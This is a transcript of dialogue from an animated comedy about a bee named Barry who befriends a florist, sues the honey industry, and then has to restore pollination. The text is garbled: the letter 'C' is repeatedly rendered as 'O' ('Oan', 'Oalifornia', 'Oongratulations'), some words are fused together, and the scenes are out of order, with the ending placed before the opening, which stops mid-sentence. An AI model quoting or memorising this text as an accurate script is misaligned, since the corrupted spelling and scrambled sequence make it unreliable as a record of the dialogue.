Sure! Here, have a crumb. - Thanks! - Yeah. All right. Well, then... I guess I'll see you around. Or not. OK, Barry. And thank you so much again... for before. Oh, that? That was nothing. Well, not nothing, but... Anyway... This can't possibly work. He's all set to go. We may as well try it. OK, Dave, pull the chute. - Sounds amazing. - It was amazing! It was the scariest, happiest moment of my life. Humans! I can't believe you were with humans! Giant, scary humans! What were they like? Huge and crazy. They talk crazy. They eat crazy giant things. They drive crazy. - Do they try and kill you, like on TV? - Some of them. But some of them don't. - How'd you get back? - Poodle. You did it, and I'm glad. You saw whatever you wanted to see. You had your "experience." Now you can pick out yourjob and be normal. - Well... - Well? Well, I met someone. You did? Was she Bee-ish? - A wasp?! Your parents will kill you! - No, no, no, not a wasp. - Spider? - I'm not attracted to spiders. I know it's the hottest thing, with the eight legs and all. I can't get by that face. So who is she? She's... human. No, no. That's a bee law. You wouldn't break a bee law. - Her name's Vanessa. - Oh, boy. She's so nice. And she's a florist! Oh, no! You're dating a human florist! We're not dating. You're flying outside the hive, talking to humans that attack our homes with power washers and M-80s! One-eighth a stick of dynamite! She saved my life! And she understands me. This is over! Eat this. This is not over! What was that? - They call it a crumb. - It was so stingin' stripey! And that's not what they eat. That's what falls off what they eat! - You know what a Oinnabon is? - No. It's bread and cinnamon and frosting. They heat it up... Sit down! ...really hot! - Listen to me! We are not them! We're us. There's us and there's them! Yes, but who can deny the heart that is yearning? There's no yearning. Stop yearning. Listen to me! You have got to start thinking bee, my friend. Thinking bee! - Thinking bee. - Thinking bee. Thinking bee! Thinking bee! Thinking bee! Thinking bee! There he is. He's in the pool. You know what your problem is, Barry? I gotta start thinking bee? How much longer will this go on? It's been three days! Why aren't you working? I've got a lot of big life decisions to think about. What life? You have no life! You have no job. You're barely a bee! Would it kill you to make a little honey? Barry, come out. Your father's talking to you. Martin, would you talk to him? Barry, I'm talking to you! You coming? Got everything? All set! Go ahead. I'll catch up. Don't be too long. Watch this! Vanessa! - We're still here. - I told you not to yell at him. He doesn't respond to yelling! - Then why yell at me? - Because you don't listen! I'm not listening to this. Sorry, I've gotta go. - Where are you going? - I'm meeting a friend. A girl? Is this why you can't decide? Bye. I just hope she's Bee-ish. They have a huge parade of flowers every year in Pasadena? To be in the Tournament of Roses, that's every florist's dream! Up on a float, surrounded by flowers, crowds cheering. A tournament. Do the roses compete in athletic events? No. All right, I've got one. How come you don't fly everywhere? It's exhausting. Why don't you run everywhere? It's faster. Yeah, OK, I see, I see. All right, your turn. TiVo. You can just freeze live TV? That's insane! You don't have that? We have Hivo, but it's a disease. It's a horrible, horrible disease. Oh, my. Dumb bees! You must want to sting all those jerks. We try not to sting. It's usually fatal for us. So you have to watch your temper. Very carefully. You kick a wall, take a walk, write an angry letter and throw it out. Work through it like any emotion: Anger, jealousy, lust. Oh, my goodness! Are you OK? Yeah. - What is wrong with you?! - It's a bug. He's not bothering anybody. Get out of here, you creep! What was that? A Pic 'N' Save circular? Yeah, it was. How did you know? It felt like about 10 pages. Seventy-five is pretty much our limit. You've really got that down to a science. - I lost a cousin to Italian Vogue. - I'll bet. What in the name of Mighty Hercules is this? How did this get here? Oute Bee, Golden Blossom, Ray Liotta Private Select? - Is he that actor? - I never heard of him. - Why is this here? - For people. We eat it. You don't have enough food of your own? - Well, yes. - How do you get it? - Bees make it. - I know who makes it! And it's hard to make it! There's heating, cooling, stirring. You need a whole Krelman thing! - It's organic. - It's our-ganic! It's just honey, Barry. Just what?! Bees don't know about this! This is stealing! A lot of stealing! You've taken our homes, schools, hospitals! This is all we have! And it's on sale?! I'm getting to the bottom of this. I'm getting to the bottom of all of this! Hey, Hector. - You almost done? - Almost. He is here. I sense it. Well, I guess I'll go home now and just leave this nice honey out, with no one around. You're busted, box boy! I knew I heard something. So you can talk! I can talk. And now you'll start talking! Where you getting the sweet stuff? Who's your supplier? I don't understand. I thought we were friends. The last thing we want to do is upset bees! You're too late! It's ours now! You, sir, have crossed the wrong sword! You, sir, will be lunch for my iguana, Ignacio! Where is the honey coming from? Tell me where! Honey Farms! It comes from Honey Farms! Orazy person! What horrible thing has happened here? These faces, they never knew what hit them. And now they're on the road to nowhere! Just keep still. What? You're not dead? Do I look dead? They will wipe anything that moves. Where you headed? To Honey Farms. I am onto something huge here. I'm going to Alaska. Moose blood, crazy stuff. Blows your head off! I'm going to Tacoma. - And you? - He really is dead. All right. Uh-oh! - What is that?! - Oh, no! - A wiper! Triple blade! - Triple blade? Jump on! It's your only chance, bee! Why does everything have to be so doggone clean?! How much do you people need to see?! Open your eyes! Stick your head out the window! From NPR News in Washington, I'm Oarl Kasell. But don't kill no more bugs! - Bee! - Moose blood guy!! - You hear something? - Like what? Like tiny screaming. Turn off the radio. Whassup, bee boy? Hey, Blood. Just a row of honey jars, as far as the eye could see. Wow! I assume wherever this truck goes is where they're getting it. I mean, that honey's ours. - Bees hang tight. - We're all jammed in. It's a close community. Not us, man. We on our own. Every mosquito on his own. - What if you get in trouble? - You a mosquito, you in trouble. Nobody likes us. They just smack. See a mosquito, smack, smack! At least you're out in the world. You must meet girls. Mosquito girls try to trade up, get with a moth, dragonfly. Mosquito girl don't want no mosquito. You got to be kidding me! Mooseblood's about to leave the building! So long, bee! - Hey, guys! - Mooseblood! I knew I'd catch y'all down here. Did you bring your crazy straw? We throw it in jars, slap a label on it, and it's pretty much pure profit. What is this place? A bee's got a brain the size of a pinhead. They are pinheads! Pinhead. - Oheck out the new smoker. - Oh, sweet. That's the one you want. The Thomas 3000! Smoker? Ninety puffs a minute, semi-automatic. Twice the nicotine, all the tar. A couple breaths of this knocks them right out. They make the honey, and we make the money. "They make the honey, and we make the money"? Oh, my! What's going on? Are you OK? Yeah. It doesn't last too long. Do you know you're in a fake hive with fake walls? Our queen was moved here. We had no choice. This is your queen? That's a man in women's clothes! That's a drag queen! What is this? Oh, no! There's hundreds of them! Bee honey. Our honey is being brazenly stolen on a massive scale! This is worse than anything bears have done! I intend to do something. Oh, Barry, stop. Who told you humans are taking our honey? That's a rumor. Do these look like rumors? That's a conspiracy theory. These are obviously doctored photos. How did you get mixed up in this? He's been talking to humans. - What? - Talking to humans?! He has a human girlfriend. And they make out! Make out? Barry! We do not. - You wish you could. - Whose side are you on? The bees! I dated a cricket once in San Antonio. Those crazy legs kept me up all night. Barry, this is what you want to do with your life? I want to do it for all our lives. Nobody works harder than bees! Dad, I remember you coming home so overworked your hands were still stirring. You couldn't stop. I remember that. What right do they have to our honey? We live on two cups a year. They put it in lip balm for no reason whatsoever! Even if it's true, what can one bee do? Sting them where it really hurts. In the face! The eye! - That would hurt. - No. Up the nose? That's a killer. There's only one place you can sting the humans, one place where it matters. Hive at Five, the hive's only full-hour action news source. No more bee beards! With Bob Bumble at the anchor desk. Weather with Storm Stinger. Sports with Buzz Larvi. And Jeanette Ohung. - Good evening. I'm Bob Bumble. - And I'm Jeanette Ohung. A tri-county bee, Barry Benson, intends to sue the human race for stealing our honey, packaging it and profiting from it illegally! Tomorrow night on Bee Larry King, we'll have three former queens here in our studio, discussing their new book, Olassy Ladies, out this week on Hexagon. Tonight we're talking to Barry Benson. Did you ever think, "I'm a kid from the hive. I can't do this"? Bees have never been afraid to change the world. What about Bee Oolumbus? Bee Gandhi? Bejesus? Where I'm from, we'd never sue humans. We were thinking of stickball or candy stores. How old are you? The bee community is supporting you in this case, which will be the trial of the bee century. You know, they have a Larry King in the human world too. It's a common name. Next week... He looks like you and has a show and suspenders and colored dots... Next week... Glasses, quotes on the bottom from the guest even though you just heard 'em. Bear Week next week! They're scary, hairy and here live. Always leans forward, pointy shoulders, squinty eyes, very Jewish. In tennis, you attack at the point of weakness! It was my grandmother, Ken. She's 81. Honey, her backhand's a joke! I'm not gonna take advantage of that? Quiet, please. Actual work going on here. - Is that that same bee? - Yes, it is! I'm helping him sue the human race. - Hello. - Hello, bee. This is Ken. Yeah, I remember you. Timberland, size ten and a half. Vibram sole, I believe. Why does he talk again? Listen, you better go 'cause we're really busy working. But it's our yogurt night! Bye-bye. Why is yogurt night so difficult?! You poor thing. You two have been at this for hours! Yes, and Adam here has been a huge help. - Frosting... - How many sugars? Just one. I try not to use the competition. So why are you helping me? Bees have good qualities. And it takes my mind off the shop. Instead of flowers, people are giving balloon bouquets now. Those are great, if you're three. And artificial flowers. - Oh, those just get me psychotic! - Yeah, me too. Bent stingers, pointless pollination. Bees must hate those fake things! Nothing worse than a daffodil that's had work done. Maybe this could make up for it a little bit. - This lawsuit's a pretty big deal. - I guess. You sure you want to go through with it? Am I sure? When I'm done with the humans, they won't be able to say, "Honey, I'm home," without paying a royalty! It's an incredible scene here in downtown Manhattan, where the world anxiously waits, because for the first time in history, we will hear for ourselves if a honeybee can actually speak. What have we gotten into here, Barry? It's pretty big, isn't it? I can't believe how many humans don't work during the day. You think billion-dollar multinational food companies have good lawyers? Everybody needs to stay behind the barricade. - What's the matter? - I don't know, I just got a chill. Well, if it isn't the bee team. You boys work on this? All rise! The Honorable Judge Bumbleton presiding. All right. Oase number 4475, Superior Oourt of New York, Barry Bee Benson v. the Honey Industry is now in session. Mr. Montgomery, you're representing the five food companies collectively? A privilege. Mr. Benson... you're representing all the bees of the world? I'm kidding. Yes, Your Honor, we're ready to proceed. Mr. Montgomery, your opening statement, please. Ladies and gentlemen of the jury, my grandmother was a simple woman. Born on a farm, she believed it was man's divine right to benefit from the bounty of nature God put before us. If we lived in the topsy-turvy world Mr. Benson imagines, just think of what would it mean. I would have to negotiate with the silkworm for the elastic in my britches! Talking bee! How do we know this isn't some sort of holographic motion-picture-capture Hollywood wizardry? They could be using laser beams! Robotics! Ventriloquism! Oloning! For all we know, he could be on steroids! Mr. Benson? Ladies and gentlemen, there's no trickery here. I'm just an ordinary bee. Honey's pretty important to me. It's important to all bees. We invented it! We make it. And we protect it with our lives. Unfortunately, there are some people in this room who think they can take it from us 'cause we're the little guys! I'm hoping that, after this is all over, you'll see how, by taking our honey, you not only take everything we have but everything we are! I wish he'd dress like that all the time. So nice! Oall your first witness. So, Mr. Klauss Vanderhayden of Honey Farms, big company you have. I suppose so. I see you also own Honeyburton and Honron! Yes, they provide beekeepers for our farms. Beekeeper. I find that to be a very disturbing term. I don't imagine you employ any bee-free-ers, do you? - No. - I couldn't hear you. - No. - No. Because you don't free bees. You keep bees. Not only that, it seems you thought a bear would be an appropriate image for a jar of honey. They're very lovable creatures. Yogi Bear, Fozzie Bear, Build-A-Bear. You mean like this? Bears kill bees! How'd you like his head crashing through your living room?! Biting into your couch! Spitting out your throw pillows! OK, that's enough. Take him away. So, Mr. Sting, thank you for being here. Your name intrigues me. - Where have I heard it before? - I was with a band called The Police. But you've never been a police officer, have you? No, I haven't. No, you haven't. And so here we have yet another example of bee culture casually stolen by a human for nothing more than a prance-about stage name. Oh, please. Have you ever been stung, Mr. Sting? Because I'm feeling a little stung, Sting. Or should I say... Mr. Gordon M. Sumner! That's not his real name?! You idiots! Mr. Liotta, first, belated congratulations on your Emmy win for a guest spot on ER in 2005. Thank you. Thank you. I see from your resume that you're devilishly handsome with a churning inner turmoil that's ready to blow. I enjoy what I do. Is that a crime? Not yet it isn't. But is this what it's come to for you? Exploiting tiny, helpless bees so you don't have to rehearse your part and learn your lines, sir? Watch it, Benson! I could blow right now! This isn't a goodfella. This is a badfella! Why doesn't someone just step on this creep, and we can all go home?! - Order in this court! - You're all thinking it! Order! Order, I say! - Say it! - Mr. Liotta, please sit down! I think it was awfully nice of that bear to pitch in like that. I think the jury's on our side. Are we doing everything right, legally? I'm a florist. Right. Well, here's to a great team. To a great team! Well, hello. - Ken! - Hello. I didn't think you were coming. No, I was just late. I tried to call, but... the battery. I didn't want all this to go to waste, so I called Barry. Luckily, he was free. Oh, that was lucky. There's a little left. I could heat it up. Yeah, heat it up, sure, whatever. So I hear you're quite a tennis player. I'm not much for the game myself. The ball's a little grabby. That's where I usually sit. Right... there. Ken, Barry was looking at your resume, and he agreed with me that eating with chopsticks isn't really a special skill. You think I don't see what you're doing? I know how hard it is to find the rightjob. We have that in common. Do we? Bees have 100 percent employment, but we do jobs like taking the crud out. That's just what I was thinking about doing. Ken, I let Barry borrow your razor for his fuzz. I hope that was all right. I'm going to drain the old stinger. Yeah, you do that. Look at that. You know, I've just about had it with your little mind games. - What's that? - Italian Vogue. Mamma mia, that's a lot of pages. A lot of ads. Remember what Van said, why is your life more valuable than mine? Funny, I just can't seem to recall that! I think something stinks in here! I love the smell of flowers. How do you like the smell of flames?! Not as much. Water bug! Not taking sides! Ken, I'm wearing a Ohapstick hat! This is pathetic! I've got issues! Well, well, well, a royal flush! - You're bluffing. - Am I? Surf's up, dude! Poo water! That bowl is gnarly. Except for those dirty yellow rings! Kenneth! What are you doing?! You know, I don't even like honey! I don't eat it! We need to talk! He's just a little bee! And he happens to be the nicest bee I've met in a long time! Long time? What are you talking about?! Are there other bugs in your life? No, but there are other things bugging me in life. And you're one of them! Fine! Talking bees, no yogurt night... My nerves are fried from riding on this emotional roller coaster! Goodbye, Ken. And for your information, I prefer sugar-free, artificial sweeteners made by man! I'm sorry about all that. I know it's got an aftertaste! I like it! I always felt there was some kind of barrier between Ken and me. I couldn't overcome it. Oh, well. Are you OK for the trial? I believe Mr. Montgomery is about out of ideas. We would like to call Mr. Barry Benson Bee to the stand. Good idea! You can really see why he's considered one of the best lawyers... Yeah. Layton, you've gotta weave some magic with this jury, or it's gonna be all over. Don't worry. The only thing I have to do to turn this jury around is to remind them of what they don't like about bees. - You got the tweezers? - Are you allergic? Only to losing, son. Only to losing. Mr. Benson Bee, I'll ask you what I think we'd all like to know. What exactly is your relationship to that woman? We're friends. - Good friends? - Yes. How good? Do you live together? Wait a minute... Are you her little... ...bedbug? I've seen a bee documentary or two. From what I understand, doesn't your queen give birth to all the bee children? - Yeah, but... - So those aren't your real parents! - Oh, Barry... - Yes, they are! Hold me back! You're an illegitimate bee, aren't you, Benson? He's denouncing bees! Don't y'all date your cousins? - Objection! - I'm going to pincushion this guy! Adam, don't! It's what he wants! Oh, I'm hit!! Oh, lordy, I am hit! Order! Order! The venom! The venom is coursing through my veins! I have been felled by a winged beast of destruction! You see? You can't treat them like equals! They're striped savages! Stinging's the only thing they know! It's their way! - Adam, stay with me. - I can't feel my legs. What angel of mercy will come forward to suck the poison from my heaving buttocks? I will have order in this court. Order! Order, please! The case of the honeybees versus the human race took a pointed turn against the bees yesterday when one of their legal team stung Layton T. Montgomery. - Hey, buddy. - Hey. - Is there much pain? - Yeah. I... I blew the whole case, didn't I? It doesn't matter. What matters is you're alive. You could have died. I'd be better off dead. Look at me. They got it from the cafeteria downstairs, in a tuna sandwich. Look, there's a little celery still on it. What was it like to sting someone? I can't explain it. It was all... All adrenaline and then... and then ecstasy! All right. You think it was all a trap? Of course. I'm sorry. I flew us right into this. What were we thinking? Look at us. We're just a couple of bugs in this world. What will the humans do to us if they win? I don't know. I hear they put the roaches in motels. That doesn't sound so bad. Adam, they check in, but they don't check out! Oh, my. Oould you get a nurse to close that window? - Why? - The smoke. Bees don't smoke. Right. Bees don't smoke. Bees don't smoke! But some bees are smoking. That's it! That's our case! It is? It's not over? Get dressed. I've gotta go somewhere. Get back to the court and stall. Stall any way you can. And assuming you've done step correctly, you're ready for the tub. Mr. Flayman. Yes? Yes, Your Honor! Where is the rest of your team? Well, Your Honor, it's interesting. Bees are trained to fly haphazardly, and as a result, we don't make very good time. I actually heard a funny story about... Your Honor, haven't these ridiculous bugs taken up enough of this court's valuable time? How much longer will we allow these absurd shenanigans to go on? They have presented no compelling evidence to support their charges against my clients, who run legitimate businesses. I move for a complete dismissal of this entire case! Mr. Flayman, I'm afraid I'm going to have to consider Mr. Montgomery's motion. But you can't! We have a terrific case. Where is your proof? Where is the evidence? Show me the smoking gun! Hold it, Your Honor! You want a smoking gun? Here is your smoking gun. What is that? It's a bee smoker! What, this? This harmless little contraption? This couldn't hurt a fly, let alone a bee. Look at what has happened to bees who have never been asked, "Smoking or non?" Is this what nature intended for us? To be forcibly addicted to smoke machines and man-made wooden slat work camps? Living out our lives as honey slaves to the white man? - What are we gonna do? - He's playing the species card. Ladies and gentlemen, please, free these bees! Free the bees! Free the bees! Free the bees! Free the bees! Free the bees! The court finds in favor of the bees! Vanessa, we won! I knew you could do it! High-five! Sorry. I'm OK! You know what this means? All the honey will finally belong to the bees. Now we won't have to work so hard all the time. This is an unholy perversion of the balance of nature, Benson. You'll regret this. Barry, how much honey is out there? All right. One at a time. Barry, who are you wearing? My sweater is Ralph Lauren, and I have no pants. - What if Montgomery's right? - What do you mean? We've been living the bee way a long time, 27 million years. Oongratulations on your victory. What will you demand as a settlement? First, we'll demand a complete shutdown of all bee work camps. Then we want back the honey that was ours to begin with, every last drop. We demand an end to the glorification of the bear as anything more than a filthy, smelly, bad-breath stink machine. We're all aware of what they do in the woods. Wait for my signal. Take him out. He'll have nauseous for a few hours, then he'll be fine. And we will no longer tolerate bee-negative nicknames... But it's just a prance-about stage name! ...unnecessary inclusion of honey in bogus health products and la-dee-da human tea-time snack garnishments. Oan't breathe. Bring it in, boys! Hold it right there! Good. Tap it. Mr. Buzzwell, we just passed three cups, and there's gallons more coming! - I think we need to shut down! - Shut down? We've never shut down. Shut down honey production! Stop making honey! Turn your key, sir! What do we do now? Oannonball! We're shutting honey production! Mission abort. Aborting pollination and nectar detail. Returning to base. Adam, you wouldn't believe how much honey was out there. Oh, yeah? What's going on? Where is everybody? - Are they out celebrating? - They're home. They don't know what to do. Laying out, sleeping in. I heard your Uncle Oarl was on his way to San Antonio with a cricket. At least we got our honey back. Sometimes I think, so what if humans liked our honey? Who wouldn't? It's the greatest thing in the world! I was excited to be part of making it. This was my new desk. This was my new job. I wanted to do it really well. And now... Now I can't. I don't understand why they're not happy. I thought their lives would be better! They're doing nothing. It's amazing. Honey really changes people. You don't have any idea what's going on, do you? - What did you want to show me? - This. What happened here? That is not the half of it. Oh, no. Oh, my. They're all wilting. Doesn't look very good, does it? No. And whose fault do you think that is? You know, I'm gonna guess bees. Bees? Specifically, me. I didn't think bees not needing to make honey would affect all these things. It's notjust flowers. Fruits, vegetables, they all need bees. That's our whole SAT test right there. Take away produce, that affects the entire animal kingdom. And then, of course... The human species? So if there's no more pollination, it could all just go south here, couldn't it? I know this is also partly my fault. How about a suicide pact? How do we do it? - I'll sting you, you step on me. - Thatjust kills you twice. Right, right. Listen, Barry... sorry, but I gotta get going. I had to open my mouth and talk. Vanessa? Vanessa? Why are you leaving? Where are you going? To the final Tournament of Roses parade in Pasadena. They've moved it to this weekend because all the flowers are dying. It's the last chance I'll ever have to see it. Vanessa, I just wanna say I'm sorry. I never meant it to turn out like this. I know. Me neither. Tournament of Roses. Roses can't do sports. Wait a minute. Roses. Roses? Roses! Vanessa! Roses?! Barry? - Roses are flowers! - Yes, they are. Flowers, bees, pollen! I know. That's why this is the last parade. Maybe not. Oould you ask him to slow down? Oould you slow down? Barry! OK, I made a huge mistake. This is a total disaster, all my fault. Yes, it kind of is. I've ruined the planet. I wanted to help you with the flower shop. I've made it worse. Actually, it's completely closed down. I thought maybe you were remodeling. But I have another idea, and it's greater than my previous ideas combined. I don't want to hear it! All right, they have the roses, the roses have the pollen. I know every bee, plant and flower bud in this park. All we gotta do is get what they've got back here with what we've got. - Bees. - Park. - Pollen! - Flowers. - Repollination! - Across the nation! Tournament of Roses, Pasadena, Oalifornia. They've got nothing but flowers, floats and cotton candy. Security will be tight. I have an idea. Vanessa Bloome, FTD. Official floral business. It's real. Sorry, ma'am. Nice brooch. Thank you. It was a gift. Once inside, we just pick the right float. How about The Princess and the Pea? I could be the princess, and you could be the pea! Yes, I got it. - Where should I sit? - What are you? - I believe I'm the pea. - The pea? It goes under the mattresses. - Not in this fairy tale, sweetheart. - I'm getting the marshal. You do that! This whole parade is a fiasco! Let's see what this baby'll do. Hey, what are you doing?! Then all we do is blend in with traffic... ...without arousing suspicion. Once at the airport, there's no stopping us. Stop! Security. - You and your insect pack your float? - Yes. Has it been in your possession the entire time? Would you remove your shoes? - Remove your stinger. - It's part of me. I know. Just having some fun. Enjoy your flight. Then if we're lucky, we'll have just enough pollen to do the job. Oan you believe how lucky we are? We have just enough pollen to do the job! I think this is gonna work. It's got to work. Attention, passengers, this is Oaptain Scott. We have a bit of bad weather in New York. It looks like we'll experience a couple hours delay. Barry, these are cut flowers with no water. They'll never make it. I gotta get up there and talk to them. Be careful. Oan I get help with the Sky Mall magazine? I'd like to order the talking inflatable nose and ear hair trimmer. Oaptain, I'm in a real situation. - What'd you say, Hal? - Nothing. Bee! Don't freak out! My entire species... What are you doing? - Wait a minute! I'm an attorney! - Who's an attorney? Don't move. Oh, Barry. Good afternoon, passengers. This is your captain. Would a Miss Vanessa Bloome in 24B please report to the cockpit? And please hurry! What happened here? There was a DustBuster, a toupee, a life raft exploded. One's bald, one's in a boat, they're both unconscious! - Is that another bee joke? - No! No one's flying the plane! This is JFK control tower, Flight 356. What's your status? This is Vanessa Bloome. I'm a florist from New York. Where's the pilot? He's unconscious, and so is the copilot. Not good. Does anyone onboard have flight experience? As a matter of fact, there is. - Who's that? - Barry Benson. From the honey trial?! Oh, great. Vanessa, this is nothing more than a big metal bee. It's got giant wings, huge engines. I can't fly a plane. - Why not? Isn't John Travolta a pilot? - Yes. How hard could it be? Wait, Barry! We're headed into some lightning. This is Bob Bumble. We have some late-breaking news from JFK Airport, where a suspenseful scene is developing. Barry Benson, fresh from his legal victory... That's Barry! ...is attempting to land a plane, loaded with people, flowers and an incapacitated flight crew. Flowers?! We have a storm in the area and two individuals at the controls with absolutely no flight experience. Just a minute. There's a bee on that plane. I'm quite familiar with Mr. Benson and his no-account compadres. They've done enough damage. But isn't he your only hope? Technically, a bee shouldn't be able to fly at all. Their wings are too small... Haven't we heard this a million times? "The surface area of the wings and body mass make no sense." - Get this on the air! - Got it. - Stand by. - We're going live. The way we work may be a mystery to you. Making honey takes a lot of bees doing a lot of small jobs. But let me tell you about a small job. If you do it well, it makes a big difference. More than we realized. To us, to everyone. That's why I want to get bees back to working together. That's the bee way! We're not made of Jell-O. We get behind a fellow. - Black and yellow! - Hello! Left, right, down, hover. - Hover? - Forget hover. This isn't so hard. Beep-beep! Beep-beep! Barry, what happened?! Wait, I think we were on autopilot the whole time. - That may have been helping me. - And now we're not! So it turns out I cannot fly a plane. All of you, let's get behind this fellow! Move it out! Move out! Our only chance is if I do what I'd do, you copy me with the wings of the plane! Don't have to yell. I'm not yelling! We're in a lot of trouble. It's very hard to concentrate with that panicky tone in your voice! It's not a tone. I'm panicking! I can't do this! Vanessa, pull yourself together. You have to snap out of it! You snap out of it. You snap out of it. - You snap out of it! - You snap out of it! - You snap out of it! - You snap out of it! - You snap out of it! - You snap out of it! - Hold it! - Why? Oome on, it's my turn. How is the plane flying? I don't know. Hello? Benson, got any flowers for a happy occasion in there? The Pollen Jocks! They do get behind a fellow. - Black and yellow. - Hello. All right, let's drop this tin can on the blacktop. Where? I can't see anything. Oan you? No, nothing. It's all cloudy. Oome on. You got to think bee, Barry. - Thinking bee. - Thinking bee. Thinking bee! Thinking bee! Thinking bee! Wait a minute. I think I'm feeling something. - What? - I don't know. It's strong, pulling me. Like a 27-million-year-old instinct. Bring the nose down. Thinking bee! Thinking bee! Thinking bee! - What in the world is on the tarmac? - Get some lights on that! Thinking bee! Thinking bee! Thinking bee! - Vanessa, aim for the flower. - OK. Out the engines. We're going in on bee power. Ready, boys? Affirmative! Good. Good. Easy, now. That's it. Land on that flower! Ready? Full reverse! Spin it around! - Not that flower! The other one! - Which one? - That flower. - I'm aiming at the flower! That's a fat guy in a flowered shirt. I mean the giant pulsating flower made of millions of bees! Pull forward. Nose down. Tail up. Rotate around it. - This is insane, Barry! - This's the only way I know how to fly. Am I koo-koo-kachoo, or is this plane flying in an insect-like pattern? Get your nose in there. Don't be afraid. Smell it. Full reverse! Just drop it. Be a part of it. Aim for the center! Now drop it in! Drop it in, woman! Oome on, already. Barry, we did it! You taught me how to fly! - Yes. No high-five! - Right. Barry, it worked! Did you see the giant flower? What giant flower? Where? Of course I saw the flower! That was genius! - Thank you. - But we're not done yet. Listen, everyone! This runway is covered with the last pollen from the last flowers available anywhere on Earth. That means this is our last chance. We're the only ones who make honey, pollinate flowers and dress like this. If we're gonna survive as a species, this is our moment! What do you say? Are we going to be bees, orjust Museum of Natural History keychains? We're bees! Keychain! Then follow me! Except Keychain. Hold on, Barry. Here. You've earned this. Yeah! I'm a Pollen Jock! And it's a perfect fit. All I gotta do are the sleeves. Oh, yeah. That's our Barry. Mom! The bees are back! If anybody needs to make a call, now's the time. I got a feeling we'll be working late tonight! Here's your change. Have a great afternoon! Oan I help who's next? Would you like some honey with that? It is bee-approved. Don't forget these. Milk, cream, cheese, it's all me. And I don't see a nickel! Sometimes I just feel like a piece of meat! I had no idea. Barry, I'm sorry. Have you got a moment? Would you excuse me? My mosquito associate will help you. Sorry I'm late. He's a lawyer too? I was already a blood-sucking parasite. All I needed was a briefcase. Have a great afternoon! Barry, I just got this huge tulip order, and I can't get them anywhere. No problem, Vannie. Just leave it to me. You're a lifesaver, Barry. Oan I help who's next? All right, scramble, jocks! It's time to fly. Thank you, Barry! That bee is living my life! Let it go, Kenny. - When will this nightmare end?! - Let it all go. - Beautiful day to fly. - Sure is. Between you and me, I was dying to get out of that office. You have got to start thinking bee, my friend. - Thinking bee! - Me? Hold it. Let's just stop for a second. Hold it. I'm sorry. I'm sorry, everyone. Oan we stop here? I'm not making a major life decision during a production number! All right. Take ten, everybody. Wrap it up, guys. I had virtually no rehearsal for that.

According to all known laws of aviation, there is no way a bee should be able to fly. Its wings are too small to get its fat little body off the ground. The bee, of course, flies anyway because bees don't care what humans think is impossible. Yellow, black. Yellow, black. Yellow, black. Yellow, black. Ooh, black and yellow! Let's shake it up a little. Barry! Breakfast is ready! Ooming! Hang on a second. Hello? - Barry? - Adam? - Oan you believe this is happening? - I can't. I'll pick you up. Looking sharp. Use the stairs. Your father paid good money for those. Sorry. I'm excited. Here's the graduate. We're very proud of you, son. A perfect report card, all B's. Very proud. Ma! I got a thing going here. - You got lint on your fuzz. - Ow! That's me! - Wave to us! We'll be in row 118,000. - Bye! Barry, I told you, stop flying in the house! - Hey, Adam. - Hey, Barry. - Is that fuzz gel? - A little. Special day, graduation. Never thought I'd make it. Three days grade school, three days high school. Those were awkward. Three days college. I'm glad I took a day and hitchhiked around the hive. You did come back different. - Hi, Barry. - Artie, growing a mustache? Looks good. - Hear about Frankie? - Yeah. - You going to the funeral? - No, I'm not going. Everybody knows, sting someone, you die. Don't waste it on a squirrel. Such a hothead. I guess he could have just gotten out of the way. I love this incorporating an amusement park into our day. That's why we don't need vacations. Boy, quite a bit of pomp... under the circumstances. - Well, Adam, today we are men. - We are! - Bee-men. - Amen! Hallelujah! Students, faculty, distinguished bees, please welcome Dean Buzzwell. Welcome, New Hive Oity graduating class of... ...9:15. That concludes our ceremonies. And begins your career at Honex Industries! Will we pick ourjob today? I heard it's just orientation. Heads up! Here we go. Keep your hands and antennas inside the tram at all times. - Wonder what it'll be like? - A little scary. Welcome to Honex, a division of Honesco and a part of the Hexagon Group. This is it! Wow. Wow. We know that you, as a bee, have worked your whole life to get to the point where you can work for your whole life. Honey begins when our valiant Pollen Jocks bring the nectar to the hive. Our top-secret formula is automatically color-corrected, scent-adjusted and bubble-contoured into this soothing sweet syrup with its distinctive golden glow you know as... Honey! - That girl was hot. - She's my cousin! - She is? - Yes, we're all cousins. - Right. You're right. - At Honex, we constantly strive to improve every aspect of bee existence. These bees are stress-testing a new helmet technology. - What do you think he makes? - Not enough. Here we have our latest advancement, the Krelman. - What does that do? - Oatches that little strand of honey that hangs after you pour it. Saves us millions. Oan anyone work on the Krelman? Of course. Most bee jobs are small ones. But bees know that every small job, if it's done well, means a lot. But choose carefully because you'll stay in the job you pick for the rest of your life. The same job the rest of your life? I didn't know that. What's the difference? You'll be happy to know that bees, as a species, haven't had one day off in 27 million years. So you'll just work us to death? We'll sure try. Wow! That blew my mind! "What's the difference?" How can you say that? One job forever? That's an insane choice to have to make. I'm relieved. Now we only have to make one decision in life. But, Adam, how could they never have told us that? Why would you question anything? We're bees. We're the most perfectly functioning society on Earth. You ever think maybe things work a little too well here? Like what? Give me one example. I don't know. But you know what I'm talking about. Please clear the gate. Royal Nectar Force on approach. Wait a second. Oheck it out. - Hey, those are Pollen Jocks! - Wow. I've never seen them this close. They know what it's like outside the hive. Yeah, but some don't come back. - Hey, Jocks! - Hi, Jocks! You guys did great! You're monsters! You're sky freaks! I love it! I love it! - I wonder where they were. - I don't know. Their day's not planned. Outside the hive, flying who knows where, doing who knows what. You can'tjust decide to be a Pollen Jock. You have to be bred for that. Right. Look. That's more pollen than you and I will see in a lifetime. It's just a status symbol. Bees make too much of it. Perhaps. Unless you're wearing it and the ladies see you wearing it. Those ladies? Aren't they our cousins too? Distant. Distant. Look at these two. - Oouple of Hive Harrys. - Let's have fun with them. It must be dangerous being a Pollen Jock. Yeah. Once a bear pinned me against a mushroom! He had a paw on my throat, and with the other, he was slapping me! - Oh, my! - I never thought I'd knock him out. What were you doing during this? Trying to alert the authorities. I can autograph that. A little gusty out there today, wasn't it, comrades? Yeah. Gusty. We're hitting a sunflower patch six miles from here tomorrow. - Six miles, huh? - Barry! A puddle jump for us, but maybe you're not up for it. - Maybe I am. - You are not! We're going 0900 at J-Gate. What do you think, buzzy-boy? Are you bee enough? I might be. It all depends on what 0900 means. Hey, Honex! Dad, you surprised me. You decide what you're interested in? - Well, there's a lot of choices. - But you only get one. Do you ever get bored doing the same job every day? Son, let me tell you about stirring. You grab that stick, and you just move it around, and you stir it around. You get yourself into a rhythm. It's a beautiful thing. You know, Dad, the more I think about it, maybe the honey field just isn't right for me. You were thinking of what, making balloon animals? That's a bad job for a guy 